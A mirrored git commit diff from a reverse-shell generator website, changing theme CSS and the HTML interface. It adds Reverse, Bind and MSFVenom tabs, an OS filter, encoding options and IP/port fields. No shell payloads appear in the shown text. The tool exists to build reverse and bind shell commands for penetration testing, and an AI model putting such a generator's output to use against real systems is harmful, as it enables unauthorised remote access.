mirror of
https://github.com/0dayCTF/reverse-shell-generator.git
synced 2025-02-21 14:16:04 +00:00
commit
43238f8264
1
.gitignore
vendored
Normal file
1
.gitignore
vendored
Normal file
@ -0,0 +1 @@
|
||||
.netlify/
|
@ -7,7 +7,7 @@
|
||||
}
|
||||
|
||||
.highlighted-parameter {
|
||||
color: #c0c0ba;
|
||||
color: #426992;
|
||||
font-weight: bold;
|
||||
font-size: 1em;
|
||||
}
|
||||
@ -21,6 +21,18 @@
|
||||
cursor: pointer;
|
||||
user-select: none;
|
||||
}
|
||||
.nav-tabs {
|
||||
border-bottom: none !important;
|
||||
}
|
||||
|
||||
.nav-tabs .nav-link:hover {
|
||||
background-color: #375a7f;
|
||||
}
|
||||
|
||||
.nav-tabs .nav-link.active {
|
||||
background-color: #375a7f;
|
||||
}
|
||||
|
||||
|
||||
_:-ms-fullscreen,
|
||||
:root body {
|
||||
@ -42,6 +54,21 @@ _:-ms-fullscreen,
|
||||
max-height: 20rem;
|
||||
}
|
||||
|
||||
#bind-shell-command {
|
||||
border: none !important;
|
||||
border-radius: 5px;
|
||||
box-shadow: 10px 10px 20px 0px rgba(0, 0, 0, 0.75);
|
||||
background-color: rgb(70, 70, 70);
|
||||
max-height: 20rem;
|
||||
}
|
||||
|
||||
#msfvenom-command {
|
||||
border: none !important;
|
||||
border-radius: 5px;
|
||||
box-shadow: 10px 10px 20px 0px rgba(0, 0, 0, 0.75);
|
||||
background-color: rgb(70, 70, 70);
|
||||
max-height: 20rem;
|
||||
}
|
||||
|
||||
.custom-select {
|
||||
background-color: #646464;
|
||||
@ -67,3 +94,9 @@ h2 {
|
||||
.card-body {
|
||||
max-height: 40rem;
|
||||
}
|
||||
|
||||
.list-group-item.active,
|
||||
.list-group-item-action:focus,
|
||||
.list-group-item-action:hover {
|
||||
background-color: #375a7f;
|
||||
}
|
||||
|
2
css/dark-mode.min.css
vendored
2
css/dark-mode.min.css
vendored
@ -1 +1 @@
|
||||
.prompt-sign{position:absolute;top:25px;left:40px;pointer-events:none;font-size:1em}.highlighted-parameter{color:#c0c0ba;font-weight:700;font-size:1em}.highlighted-warning{color:red;font-weight:700}.custom-switch label{cursor:pointer;user-select:none}_:-ms-fullscreen,:root body{overflow-y:scroll}#listener-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,.75)}#reverse-shell-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,.75);background-color:#464646;max-height:20rem}.custom-select{background-color:#646464;color:#fff}.container{padding:10px;border-radius:20px;box-shadow:10px 0 20px 0 rgba(0,0,0,.75);height:100%!important}h2{color:#fff;text-align:center}.pre-wrap{white-space:pre-wrap}.card-body{max-height:40rem}
|
||||
.prompt-sign{position:absolute;top:25px;left:40px;pointer-events:none;font-size:1em}.highlighted-parameter{color:#426992;font-weight:700;font-size:1em}.highlighted-warning{color:red;font-weight:700}.custom-switch label{cursor:pointer;user-select:none}.nav-tabs{border-bottom:none!important}.nav-tabs .nav-link:hover{background-color:#375a7f}.nav-tabs .nav-link.active{background-color:#375a7f}_:-ms-fullscreen,:root body{overflow-y:scroll}#listener-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,.75)}#reverse-shell-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,.75);background-color:#464646;max-height:20rem}#bind-shell-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,.75);background-color:#464646;max-height:20rem}#msfvenom-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,.75);background-color:#464646;max-height:20rem}.custom-select{background-color:#646464;color:#fff}.container{padding:10px;border-radius:20px;box-shadow:10px 0 20px 0 rgba(0,0,0,.75);height:100%!important}h2{color:#fff;text-align:center}.pre-wrap{white-space:pre-wrap}.card-body{max-height:40rem}.list-group-item-action:focus,.list-group-item-action:hover,.list-group-item.active{background-color:#375a7f}
|
||||
|
@ -8,7 +8,7 @@ Ain't got time for using CSS the right way. !important everything!
|
||||
|
||||
[data-theme="light"] .card {
|
||||
background-color: rgb(175, 139, 173) !important;
|
||||
color:#000;
|
||||
color: #000;
|
||||
}
|
||||
|
||||
[data-theme="light"] .bg-white {
|
||||
@ -38,14 +38,14 @@ Ain't got time for using CSS the right way. !important everything!
|
||||
}
|
||||
|
||||
[data-theme="light"] .input-group-text {
|
||||
background-color:#f1c6ce;
|
||||
color:#000;
|
||||
background-color: #f1c6ce;
|
||||
color: #000;
|
||||
}
|
||||
|
||||
[data-theme="light"] .btn {
|
||||
background-color: #a56096;
|
||||
color:#000;
|
||||
border-color:#a56096;
|
||||
color: #000;
|
||||
border-color: #a56096;
|
||||
}
|
||||
|
||||
[data-theme="light"] .highlighted-parameter {
|
||||
@ -64,16 +64,16 @@ Ain't got time for using CSS the right way. !important everything!
|
||||
user-select: none;
|
||||
}
|
||||
|
||||
[data-theme="light"] .custom-control-input:checked~.custom-control-label::before{
|
||||
background-color:#7223b5;
|
||||
}
|
||||
[data-theme="light"] .custom-control-input:checked~.custom-control-label::before {
|
||||
background-color: #7223b5;
|
||||
}
|
||||
|
||||
[data-theme="light"] #listener-command {
|
||||
border: none !important;
|
||||
border-radius: 5px;
|
||||
box-shadow: 10px 10px 20px 0px rgba(153, 28, 143, 0.75);
|
||||
background-color: rgb(45, 139, 135);
|
||||
color:#000;
|
||||
color: #000;
|
||||
}
|
||||
|
||||
[data-theme="light"] #reverse-shell-command {
|
||||
@ -81,32 +81,66 @@ Ain't got time for using CSS the right way. !important everything!
|
||||
border-radius: 5px;
|
||||
box-shadow: 10px 10px 20px 0px rgba(153, 28, 143, 0.75);
|
||||
background-color: rgb(45, 139, 135);
|
||||
color:#000;
|
||||
color: #000;
|
||||
max-height: 20rem;
|
||||
}
|
||||
|
||||
[data-theme="light"] #bind-shell-command {
|
||||
border: none !important;
|
||||
border-radius: 5px;
|
||||
box-shadow: 10px 10px 20px 0px rgba(153, 28, 143, 0.75);
|
||||
background-color: rgb(45, 139, 135);
|
||||
color: #000;
|
||||
max-height: 20rem;
|
||||
}
|
||||
|
||||
[data-theme="light"] #msfvenom-command {
|
||||
border: none !important;
|
||||
border-radius: 5px;
|
||||
box-shadow: 10px 10px 20px 0px rgba(153, 28, 143, 0.75);
|
||||
background-color: rgb(45, 139, 135);
|
||||
color: #000;
|
||||
max-height: 20rem;
|
||||
}
|
||||
|
||||
[data-theme="light"] .custom-select {
|
||||
background-color: #f1c6ce;
|
||||
color: #000;
|
||||
border-color: #a56096;
|
||||
}
|
||||
|
||||
[data-theme="light"] .nav-link {
|
||||
color: #000;
|
||||
background: transparent;
|
||||
box-shadow: 5px 5px 5px 0px rgba(153, 28, 143, 0.75);
|
||||
}
|
||||
|
||||
[data-theme="light"] .nav-link:hover {
|
||||
background-color: #7223b5;
|
||||
}
|
||||
|
||||
[data-theme="light"] .nav-link.active {
|
||||
background-color: #a56096;
|
||||
color:#000;
|
||||
border-color:#a56096;
|
||||
}
|
||||
|
||||
[data-theme="light"] .custom-control-input:checked {
|
||||
color:#000;
|
||||
color: #000;
|
||||
}
|
||||
|
||||
[data-theme="light"] a {
|
||||
background-color:#f1c6ce;
|
||||
color:#000;
|
||||
background-color: #f1c6ce;
|
||||
color: #000;
|
||||
}
|
||||
|
||||
[data-theme="light"] .list-group-item{
|
||||
color:#000;
|
||||
[data-theme="light"] .list-group-item {
|
||||
background-color: #f1c6ce;
|
||||
color: #000;
|
||||
}
|
||||
|
||||
[data-theme="light"] .list-group-item.active {
|
||||
background-color:#a56096;
|
||||
border-color: #000;
|
||||
background-color: #a56096;
|
||||
border-color: #000;
|
||||
}
|
||||
|
||||
[data-theme="light"] .list-group-item:hover {
|
||||
@ -114,7 +148,7 @@ border-color: #000;
|
||||
}
|
||||
|
||||
[data-theme="light"] .list-group-item.hover {
|
||||
background-color:rgba(153, 28, 143, 0.75);
|
||||
background-color: rgba(153, 28, 143, 0.75);
|
||||
}
|
||||
|
||||
[data-theme="light"] .container {
|
||||
@ -125,15 +159,14 @@ border-color: #000;
|
||||
}
|
||||
|
||||
[data-theme="light"] .card-title {
|
||||
color: #000 !important;
|
||||
color: #000 !important;
|
||||
}
|
||||
|
||||
[data-theme="light"] .custom-control-label {
|
||||
color: black;
|
||||
color: black;
|
||||
}
|
||||
|
||||
[data-theme="light"] h2
|
||||
{
|
||||
[data-theme="light"] h2 {
|
||||
color: white;
|
||||
text-align: center;
|
||||
}
|
||||
|
2
css/light-mode.min.css
vendored
2
css/light-mode.min.css
vendored
@ -1 +1 @@
|
||||
[data-theme=light]{background-color:pink!important}[data-theme=light] .card{background-color:#af8bad!important;color:#000}[data-theme=light] .bg-white{background-color:#ddd7d7!important}[data-theme=light] .bg-dark{background-color:#e7d4e0!important}[data-theme=light] .rainbow{text-shadow:2px 2px 4px #000;font-size:40px;-webkit-animation:rainbow 5s infinite;-ms-animation:rainbow 5s infinite;animation:rainbow 5s infinite;font-family:'Comic Mono'}[data-theme=light] .prompt-sign{position:absolute;top:25px;left:40px;pointer-events:none;font-size:1em;color:#2e3e86}[data-theme=light] .input-group-text{background-color:#f1c6ce;color:#000}[data-theme=light] .btn{background-color:#a56096;color:#000;border-color:#a56096}[data-theme=light] .highlighted-parameter{color:#7223b5;font-weight:700;font-size:1em}[data-theme=light] .highlighted-warning{color:red;font-weight:700}[data-theme=light] .custom-switch label{cursor:pointer;user-select:none}[data-theme=light] .custom-control-input:checked~.custom-control-label::before{background-color:#7223b5}[data-theme=light] #listener-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(153,28,143,.75);background-color:#2d8b87;color:#000}[data-theme=light] #reverse-shell-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(153,28,143,.75);background-color:#2d8b87;color:#000;max-height:20rem}[data-theme=light] .custom-select{background-color:#f1c6ce;color:#000;border-color:#a56096}[data-theme=light] .custom-control-input:checked{color:#000}[data-theme=light] a{background-color:#f1c6ce;color:#000}[data-theme=light] .list-group-item{color:#000}[data-theme=light] .list-group-item.active{background-color:#a56096;border-color:#000}[data-theme=light] .list-group-item:hover{background-color:#a56096}[data-theme=light] .list-group-item.hover{background-color:rgba(153,28,143,.75)}[data-theme=light] .container{padding:10px;border-radius:20px;box-shadow:10px 0 20px 0 rgba(153,28,143,.75);max-height:1000px}[data-theme=light] .card-title{color:#000!important}[data-theme=light] .custom-control-label{color:#000}[data-theme=light] h2{color:#fff;text-align:center}[data-theme=light] .pre-wrap{white-space:pre-wrap}[data-theme=light] .card-body{max-height:40rem}@font-face{font-family:"Comic Mono";src:url(../assets/ComicMono.ttf)}@-webkit-keyframes rainbow{0%{color:orange}10%{color:purple}20%{color:red}30%{color:#5f9ea0}40%{color:#ff0}50%{color:coral}60%{color:green}70%{color:#0ff}80%{color:#ff1493}90%{color:#1e90ff}100%{color:orange}}@-ms-keyframes rainbow{0%{color:orange}10%{color:purple}20%{color:red}30%{color:#5f9ea0}40%{color:#ff0}50%{color:coral}60%{color:green}70%{color:#0ff}80%{color:#ff1493}90%{color:#1e90ff}100%{color:orange}}@keyframes rainbow{0%{color:orange}10%{color:purple}20%{color:red}30%{color:#5f9ea0}40%{color:#ff0}50%{color:coral}60%{color:green}70%{color:#0ff}80%{color:#ff1493}90%{color:#1e90ff}100%{color:orange}}
|
||||
[data-theme=light]{background-color:pink!important}[data-theme=light] .card{background-color:#af8bad!important;color:#000}[data-theme=light] .bg-white{background-color:#ddd7d7!important}[data-theme=light] .bg-dark{background-color:#e7d4e0!important}[data-theme=light] .rainbow{text-shadow:2px 2px 4px #000;font-size:40px;-webkit-animation:rainbow 5s infinite;-ms-animation:rainbow 5s infinite;animation:rainbow 5s infinite;font-family:'Comic Mono'}[data-theme=light] .prompt-sign{position:absolute;top:25px;left:40px;pointer-events:none;font-size:1em;color:#2e3e86}[data-theme=light] .input-group-text{background-color:#f1c6ce;color:#000}[data-theme=light] .btn{background-color:#a56096;color:#000;border-color:#a56096}[data-theme=light] .highlighted-parameter{color:#7223b5;font-weight:700;font-size:1em}[data-theme=light] .highlighted-warning{color:red;font-weight:700}[data-theme=light] .custom-switch label{cursor:pointer;user-select:none}[data-theme=light] .custom-control-input:checked~.custom-control-label::before{background-color:#7223b5}[data-theme=light] #listener-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(153,28,143,.75);background-color:#2d8b87;color:#000}[data-theme=light] #reverse-shell-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(153,28,143,.75);background-color:#2d8b87;color:#000;max-height:20rem}[data-theme=light] #bind-shell-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(153,28,143,.75);background-color:#2d8b87;color:#000;max-height:20rem}[data-theme=light] #msfvenom-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(153,28,143,.75);background-color:#2d8b87;color:#000;max-height:20rem}[data-theme=light] .custom-select{background-color:#f1c6ce;color:#000;border-color:#a56096}[data-theme=light] .nav-link{color:#000;background:0 0;box-shadow:5px 5px 5px 0 rgba(153,28,143,.75)}[data-theme=light] .nav-link:hover{background-color:#7223b5}[data-theme=light] .nav-link.active{background-color:#a56096;color:#000}[data-theme=light] .custom-control-input:checked{color:#000}[data-theme=light] a{background-color:#f1c6ce;color:#000}[data-theme=light] .list-group-item{background-color:#f1c6ce;color:#000}[data-theme=light] .list-group-item.active{background-color:#a56096;border-color:#000}[data-theme=light] .list-group-item:hover{background-color:#a56096}[data-theme=light] .list-group-item.hover{background-color:rgba(153,28,143,.75)}[data-theme=light] .container{padding:10px;border-radius:20px;box-shadow:10px 0 20px 0 rgba(153,28,143,.75);max-height:1000px}[data-theme=light] .card-title{color:#000!important}[data-theme=light] .custom-control-label{color:#000}[data-theme=light] h2{color:#fff;text-align:center}[data-theme=light] .pre-wrap{white-space:pre-wrap}[data-theme=light] .card-body{max-height:40rem}@font-face{font-family:"Comic Mono";src:url(../assets/ComicMono.ttf)}@-webkit-keyframes rainbow{0%{color:orange}10%{color:purple}20%{color:red}30%{color:#5f9ea0}40%{color:#ff0}50%{color:coral}60%{color:green}70%{color:#0ff}80%{color:#ff1493}90%{color:#1e90ff}100%{color:orange}}@-ms-keyframes rainbow{0%{color:orange}10%{color:purple}20%{color:red}30%{color:#5f9ea0}40%{color:#ff0}50%{color:coral}60%{color:green}70%{color:#0ff}80%{color:#ff1493}90%{color:#1e90ff}100%{color:orange}}@keyframes rainbow{0%{color:orange}10%{color:purple}20%{color:red}30%{color:#5f9ea0}40%{color:#ff0}50%{color:coral}60%{color:green}70%{color:#0ff}80%{color:#ff1493}90%{color:#1e90ff}100%{color:orange}}
|
789
index.html
789
index.html
@ -1,5 +1,6 @@
|
||||
<!doctype html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
<title>Online - Reverse Shell Generator</title>
|
||||
<meta charset="utf-8">
|
||||
@ -11,26 +12,68 @@
|
||||
<script src="assets/bootstrap-4.5.2.min.js"></script>
|
||||
<link rel="stylesheet" href="css/dark-mode.min.css">
|
||||
<link rel="stylesheet" href="css/light-mode.min.css">
|
||||
<meta name="description" content="Reverse Shell generator with a ton of functionality."/>
|
||||
<meta name="description" content="Reverse Shell generator with a ton of functionality." />
|
||||
<meta name="title" content="Online - Reverse Shell Generator">
|
||||
<meta name="description" content="Reverse Shell generator with a ton of functionality.">
|
||||
|
||||
<!-- Open Graph / Facebook -->
|
||||
<meta property="og:type" content="website">
|
||||
<meta property="og:url" content="https://www.revshells.com/">
|
||||
<meta property="og:title" content="Online - Reverse Shell Generator">
|
||||
<meta property="og:description" content="Reverse Shell generator with a ton of functionality.">
|
||||
<meta property="og:image" content="https://user-images.githubusercontent.com/44453666/109582314-ef7f9e00-7acb-11eb-9c84-f8436e0022e9.png">
|
||||
|
||||
<meta property="og:image"
|
||||
content="https://user-images.githubusercontent.com/58673953/111243529-9d646f80-85d7-11eb-986c-9842747dc2e7.png">
|
||||
<!-- Twitter -->
|
||||
<meta property="twitter:card" content="summary_large_image">
|
||||
<meta property="twitter:url" content="https://www.revshells.com/">
|
||||
<meta property="twitter:title" content="Online - Reverse Shell Generator">
|
||||
<meta property="twitter:description" content="Reverse Shell generator with a ton of functionality.">
|
||||
<meta property="twitter:image" content="https://user-images.githubusercontent.com/44453666/109582314-ef7f9e00-7acb-11eb-9c84-f8436e0022e9.png">
|
||||
<meta property="twitter:image"
|
||||
content="https://user-images.githubusercontent.com/58673953/111243529-9d646f80-85d7-11eb-986c-9842747dc2e7.png">
|
||||
|
||||
<!-- GitHub Ribbon -->
|
||||
<a href="https://github.com/0dayCTF/reverse-shell-generator" class="github-corner" aria-label="View source on GitHub"><svg width="80" height="80" viewBox="0 0 250 250" style="fill:#151513; color:#fff; position: absolute; top: 0; border: 0; right: 0;" aria-hidden="true"><path d="M0,0 L115,115 L130,115 L142,142 L250,250 L250,0 Z"></path><path d="M128.3,109.0 C113.8,99.7 119.0,89.6 119.0,89.6 C122.0,82.7 120.5,78.6 120.5,78.6 C119.2,72.0 123.4,76.3 123.4,76.3 C127.3,80.9 125.5,87.3 125.5,87.3 C122.9,97.6 130.6,101.9 134.4,103.2" fill="currentColor" style="transform-origin: 130px 106px;" class="octo-arm"></path><path d="M115.0,115.0 C114.9,115.1 118.7,116.5 119.8,115.4 L133.7,101.6 C136.9,99.2 139.9,98.4 142.2,98.6 C133.8,88.0 127.5,74.4 143.8,58.0 C148.5,53.4 154.0,51.2 159.7,51.0 C160.3,49.4 163.2,43.6 171.4,40.1 C171.4,40.1 176.1,42.5 178.8,56.2 C183.1,58.6 187.2,61.8 190.9,65.4 C194.5,69.0 197.7,73.2 200.1,77.6 C213.8,80.2 216.3,84.9 216.3,84.9 C212.7,93.1 206.9,96.0 205.4,96.6 C205.1,102.4 203.0,107.8 198.3,112.5 C181.9,128.9 168.3,122.5 157.7,114.1 C157.9,116.9 156.7,120.9 152.7,124.9 L141.0,136.5 C139.8,137.7 141.6,141.9 141.8,141.8 Z" fill="currentColor" class="octo-body"></path></svg></a><style>.github-corner:hover .octo-arm{animation:octocat-wave 560ms ease-in-out}@keyframes octocat-wave{0%,100%{transform:rotate(0)}20%,60%{transform:rotate(-25deg)}40%,80%{transform:rotate(10deg)}}@media (max-width:500px){.github-corner:hover .octo-arm{animation:none}.github-corner .octo-arm{animation:octocat-wave 560ms ease-in-out}}</style>
|
||||
<a href="https://github.com/0dayCTF/reverse-shell-generator" class="github-corner"
|
||||
aria-label="View source on GitHub"><svg width="80" height="80" viewBox="0 0 250 250"
|
||||
style="fill:#151513; color:#fff; position: absolute; top: 0; border: 0; right: 0;" aria-hidden="true">
|
||||
<path d="M0,0 L115,115 L130,115 L142,142 L250,250 L250,0 Z"></path>
|
||||
<path
|
||||
d="M128.3,109.0 C113.8,99.7 119.0,89.6 119.0,89.6 C122.0,82.7 120.5,78.6 120.5,78.6 C119.2,72.0 123.4,76.3 123.4,76.3 C127.3,80.9 125.5,87.3 125.5,87.3 C122.9,97.6 130.6,101.9 134.4,103.2"
|
||||
fill="currentColor" style="transform-origin: 130px 106px;" class="octo-arm"></path>
|
||||
<path
|
||||
d="M115.0,115.0 C114.9,115.1 118.7,116.5 119.8,115.4 L133.7,101.6 C136.9,99.2 139.9,98.4 142.2,98.6 C133.8,88.0 127.5,74.4 143.8,58.0 C148.5,53.4 154.0,51.2 159.7,51.0 C160.3,49.4 163.2,43.6 171.4,40.1 C171.4,40.1 176.1,42.5 178.8,56.2 C183.1,58.6 187.2,61.8 190.9,65.4 C194.5,69.0 197.7,73.2 200.1,77.6 C213.8,80.2 216.3,84.9 216.3,84.9 C212.7,93.1 206.9,96.0 205.4,96.6 C205.1,102.4 203.0,107.8 198.3,112.5 C181.9,128.9 168.3,122.5 157.7,114.1 C157.9,116.9 156.7,120.9 152.7,124.9 L141.0,136.5 C139.8,137.7 141.6,141.9 141.8,141.8 Z"
|
||||
fill="currentColor" class="octo-body"></path>
|
||||
</svg></a>
|
||||
<style>
|
||||
.github-corner:hover .octo-arm {
|
||||
animation: octocat-wave 560ms ease-in-out
|
||||
}
|
||||
|
||||
@keyframes octocat-wave {
|
||||
|
||||
0%,
|
||||
100% {
|
||||
transform: rotate(0)
|
||||
}
|
||||
|
||||
20%,
|
||||
60% {
|
||||
transform: rotate(-25deg)
|
||||
}
|
||||
|
||||
40%,
|
||||
80% {
|
||||
transform: rotate(10deg)
|
||||
}
|
||||
}
|
||||
|
||||
@media (max-width:500px) {
|
||||
.github-corner:hover .octo-arm {
|
||||
animation: none
|
||||
}
|
||||
|
||||
.github-corner .octo-arm {
|
||||
animation: octocat-wave 560ms ease-in-out
|
||||
}
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body class="bg-black">
|
||||
@ -50,14 +93,15 @@
|
||||
|
||||
<div class="row">
|
||||
|
||||
<!-- Configuration -->
|
||||
<!-- IP & Port Configuration -->
|
||||
<div class="col-12 col-md-6 mb-4">
|
||||
<div class="card shadow h-100">
|
||||
<div class="card-body">
|
||||
<h5 class="card-title mb-0">
|
||||
<b>Configuration</b>
|
||||
<b>IP & Port</b>
|
||||
</h5>
|
||||
|
||||
<!-- card-text -->
|
||||
<div class="card-text h-100">
|
||||
<form class="row justify-content-center align-items-center h-100">
|
||||
|
||||
@ -68,7 +112,7 @@
|
||||
<span id="ip-label" class="input-group-text">IP</span>
|
||||
</div>
|
||||
<input id="ip" type="text" class="form-control form-control-lg text-center px-1"
|
||||
size="11" maxlength="15" placeholder="10.10.10.10" aria-label="IP"
|
||||
size="12VW" maxlength="15" placeholder="10.10.10.10" aria-label="IP"
|
||||
aria-describedby="ip-label">
|
||||
</div>
|
||||
</div>
|
||||
@ -80,11 +124,11 @@
|
||||
<span id="port-label" class="input-group-text">Port</span>
|
||||
</div>
|
||||
<input id="port" type="text" class="form-control form-control-lg text-center"
|
||||
size="4" maxlength="5" placeholder="9001" aria-label="Port"
|
||||
size="4vw" maxlength="5" placeholder="9001" aria-label="Port"
|
||||
aria-describedby="port-label">
|
||||
<div class="input-group-append">
|
||||
<button id="inc-port" class="btn btn-secondary btn-sm" type="button"
|
||||
style="font-size: 12px" data-toggle="tooltip"
|
||||
style="font-size: 1rem" data-toggle="tooltip"
|
||||
title="Increase port number by one">
|
||||
+1
|
||||
</button>
|
||||
@ -105,7 +149,7 @@
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- /Configuration -->
|
||||
<!-- /IP & Port Configuration -->
|
||||
|
||||
<!-- Listener -->
|
||||
<div class="col-12 col-md-6 mb-4">
|
||||
@ -127,7 +171,7 @@
|
||||
|
||||
<!-- Command -->
|
||||
<div class="row justify-content-center">
|
||||
<div class="col-auto position-relative" style="min-width: 300px">
|
||||
<div class="col-auto position-relative" style="min-width: 15vw">
|
||||
<pre class="prompt-sign">🚀</pre>
|
||||
<pre id="listener-command" class="bg-dark border text-wrap text-break p-4 pl-5 mb-2"
|
||||
style="outline: none; font-size:1em;" contenteditable="true"></pre>
|
||||
@ -155,149 +199,372 @@
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- /Step 2 -->
|
||||
<!-- /listener -->
|
||||
|
||||
</div>
|
||||
|
||||
<!-- Reverse Shell -->
|
||||
<div class="card shadow mb-5">
|
||||
<div class="card-body">
|
||||
<ul class="nav nav-tabs" id="myTab" role="tablist">
|
||||
<li class="nav-item">
|
||||
<a class="nav-link active" id="reverse-tab" data-toggle="tab" href="#reverse" role="tab"
|
||||
aria-controls="reverse" aria-selected="true">Reverse</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" id="bind-tab" data-toggle="tab" href="#bind" role="tab" aria-controls="bind"
|
||||
aria-selected="false">Bind</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" id="msfvenom-tab" data-toggle="tab" href="#msfvenom" role="tab"
|
||||
aria-controls="msfvenom" aria-selected="false">MSFVenom</a>
|
||||
</li>
|
||||
<!-- <li class="nav-item">
|
||||
<a class="nav-link disabled" id="settings-tab" data-toggle="tab" href="#settings" role="tab"
|
||||
aria-controls="settings" aria-selected="false" aria-disabled="true">Settings</a>
|
||||
</li> -->
|
||||
</ul>
|
||||
|
||||
<!-- Advanced switch -->
|
||||
<div class="custom-control custom-switch float-right">
|
||||
<input id="revshell-advanced-switch" type="checkbox" class="custom-control-input" checked>
|
||||
<label for="revshell-advanced-switch" class="custom-control-label small pr-2 pb-1"
|
||||
style="padding-top:2px" data-toggle="tooltip" title="Display advanced settings">
|
||||
Advanced
|
||||
</label>
|
||||
</div>
|
||||
<div class="tab-content">
|
||||
<!-- Reverse Shell Tab-->
|
||||
<div class="tab-pane active" id="reverse" role="tabpanel" aria-labelledby="reverse-tab">
|
||||
<div class="card shadow mb-5">
|
||||
<div class="card-body">
|
||||
|
||||
<h5 class="card-title"><b>Reverse shell</b></h5>
|
||||
<!-- Show all advanced switch -->
|
||||
<div class="custom-control custom-switch float-right">
|
||||
<input id="revshell-advanced-switch" type="checkbox" class="custom-control-input" checked>
|
||||
<label for="revshell-advanced-switch" class="custom-control-label small pr-2 pb-1"
|
||||
style="padding-top:2px" data-toggle="tooltip" title="Display all advanced settings">
|
||||
Show Advanced
|
||||
</label>
|
||||
</div>
|
||||
<!-- /Show all advanced switch -->
|
||||
|
||||
<div class="card-text mt-4">
|
||||
<div class="row">
|
||||
|
||||
<!-- Left column: Reverse shell selection -->
|
||||
<div class="col-12 col-md-3">
|
||||
<div id="reverse-shell-selection" class="list-group overflow-auto"
|
||||
style="max-height: 520px">
|
||||
<!-- filled by init()-->
|
||||
<!---Filter OS-->
|
||||
<div class="row">
|
||||
<label for="os-options" class="col-auto col-form-label float-left"
|
||||
style="font-size:1rem">OS</label>
|
||||
<div class="col-auto">
|
||||
<select id="os-options" class="custom-select">
|
||||
<option class="os-item" value="all">All</option>
|
||||
<option class="os-item" value="linux">Linux</option>
|
||||
<option class="os-item" value="windows">Windows</option>
|
||||
<option class="os-item" value="mac">Mac</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<!---/Filter OS-->
|
||||
|
||||
<!-- Right column -->
|
||||
<div class="col-12 col-md-9 d-flex flex-column">
|
||||
<div class="card-text mt-4">
|
||||
<div class="row">
|
||||
|
||||
<!-- Command -->
|
||||
<div class="row flex-grow-1">
|
||||
<div class="col position-relative">
|
||||
<pre class="prompt-sign">🚀</pre>
|
||||
<pre id="reverse-shell-command" class="bg-dark border pre-wrap text-break p-4 pl-5"
|
||||
style="outline: none; font-size:1em;" contenteditable="true"></pre>
|
||||
<!-- Left column: Reverse shell selection -->
|
||||
<div class="col-12 col-md-3">
|
||||
<div id="reverse-shell-selection" class="list-group overflow-auto"
|
||||
style="max-height: 520px">
|
||||
<!-- filled by init()-->
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Advanced section -->
|
||||
<form class="row justify-content-center collapse" id="revshell-advanced">
|
||||
<!-- Right column -->
|
||||
<div class="col-12 col-md-9 d-flex flex-column">
|
||||
|
||||
<!-- Shell -->
|
||||
<div class="col-auto mr-3">
|
||||
<div class="row">
|
||||
<label for="shell" class="col-auto col-form-label">Shell</label>
|
||||
<div class="col-auto">
|
||||
<select id="shell" class="custom-select">
|
||||
<!-- filled by init()-->
|
||||
</select>
|
||||
<!-- Reverse Shell Command -->
|
||||
<div class="row flex-grow-1">
|
||||
<div class="col position-relative">
|
||||
<pre class="prompt-sign">🚀</pre>
|
||||
<pre id="reverse-shell-command"
|
||||
class="bg-dark border pre-wrap text-break p-4 pl-5"
|
||||
style="outline: none; font-size:1em;" contenteditable="true"></pre>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Encoding -->
|
||||
<div class="col-auto ml-3">
|
||||
<div class="form-group row">
|
||||
<label for="encoding" class="col-auto col-form-label">Encoding</label>
|
||||
<div class="col-auto">
|
||||
<select id="encoding" class="custom-select">
|
||||
<option selected>None</option>
|
||||
<option>encodeURI</option>
|
||||
<option>encodeURIComponent</option>
|
||||
<option>Base64</option>
|
||||
</select>
|
||||
<!-- Advanced section -->
|
||||
<form class="row justify-content-center collapse" id="revshell-advanced">
|
||||
|
||||
<!-- Shell -->
|
||||
<div class="col-auto mr-3">
|
||||
<div class="row">
|
||||
<label for="shell" class="col-auto col-form-label">Shell</label>
|
||||
<div class="col-auto">
|
||||
<select id="shell" class="custom-select">
|
||||
<!-- filled by init()-->
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Encoding -->
|
||||
<div class="col-auto ml-3">
|
||||
<div class="form-group row">
|
||||
<label for="encoding" class="col-auto col-form-label">Encoding</label>
|
||||
<div class="col-auto">
|
||||
<select id="encoding" class="custom-select">
|
||||
<option selected>None</option>
|
||||
<option>encodeURI</option>
|
||||
<option>encodeURIComponent</option>
|
||||
<option>Base64</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</form>
|
||||
<!-- /Advanced section -->
|
||||
|
||||
<div class="row justify-content-end mr-1">
|
||||
<!-- Toasts for Reverse Shell Auto Copy -->
|
||||
<div id="clipboard-toast" class="toast position-fixed text-white" data-delay="1200"
|
||||
style="bottom: 16px; left: 50%; transform: translateX(-50%); background: rgba(32, 32, 32, .85)">
|
||||
<div class="toast-body">
|
||||
Copied to clipboard
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Upgrader -->
|
||||
<!-- <div class="col-auto mr-3">
|
||||
<div class="row">
|
||||
<label for="upgrades" class="col-auto col-form-label">Upgrade</label>
|
||||
<div class="col-auto">
|
